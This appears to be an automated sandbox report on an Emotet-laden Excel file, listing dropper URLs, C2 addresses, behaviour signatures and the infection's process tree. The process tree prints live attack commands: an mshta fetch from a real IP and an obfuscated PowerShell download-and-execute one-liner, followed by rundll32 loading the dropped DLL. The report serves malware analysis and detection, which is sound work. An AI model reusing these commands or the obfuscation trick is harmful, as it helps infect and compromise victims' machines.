Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 01:27

General

  • Target
    tmplpsse2vt.xls
  • Size 90KB
  • Sample220131-bt45fadbhm
  • SHA256 eb6603526a03a2ea2182295e00d3275ed4c072e0fa120b55e215d78485d6ca67
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/ee/ss/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/ee/ss/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmplpsse2vt.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:452
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
        3⤵
          PID:1436
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:704
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/ee/ss/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:916
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1216
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:1776
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wejhuog\vfkfvcgi.ddt",QVQcbworVQRnmg
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1588
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wejhuog\vfkfvcgi.ddt",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1092

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/944-122-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/944-55-0x000000002F0E1000-0x000000002F0E4000-memory.dmp

          memory/944-58-0x00000000762C1000-0x00000000762C3000-memory.dmp

          memory/944-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/944-56-0x0000000071421000-0x0000000071423000-memory.dmp

          memory/1092-98-0x0000000000AA0000-0x0000000000AC7000-memory.dmp

          memory/1092-104-0x0000000000C90000-0x0000000000CB7000-memory.dmp

          memory/1092-110-0x00000000027A0000-0x00000000027C7000-memory.dmp

          memory/1092-108-0x0000000002590000-0x00000000025B7000-memory.dmp

          memory/1092-106-0x0000000002490000-0x00000000024B7000-memory.dmp

          memory/1092-102-0x0000000000BB0000-0x0000000000BD7000-memory.dmp

          memory/1092-100-0x0000000000B50000-0x0000000000B77000-memory.dmp

          memory/1092-96-0x0000000000360000-0x0000000000387000-memory.dmp

          memory/1588-93-0x0000000000270000-0x0000000000297000-memory.dmp

          memory/1724-64-0x0000000002390000-0x0000000002650000-memory.dmp

          memory/1724-63-0x0000000002390000-0x0000000002650000-memory.dmp

          memory/1776-91-0x0000000002970000-0x0000000002997000-memory.dmp

          memory/1776-88-0x00000000027D0000-0x00000000027F7000-memory.dmp

          memory/1776-86-0x0000000002540000-0x0000000002567000-memory.dmp

          memory/1776-78-0x00000000007A0000-0x00000000007C7000-memory.dmp

          memory/1776-84-0x0000000000C30000-0x0000000000C57000-memory.dmp

          memory/1776-82-0x0000000000A70000-0x0000000000A97000-memory.dmp

          memory/1776-80-0x0000000000800000-0x0000000000827000-memory.dmp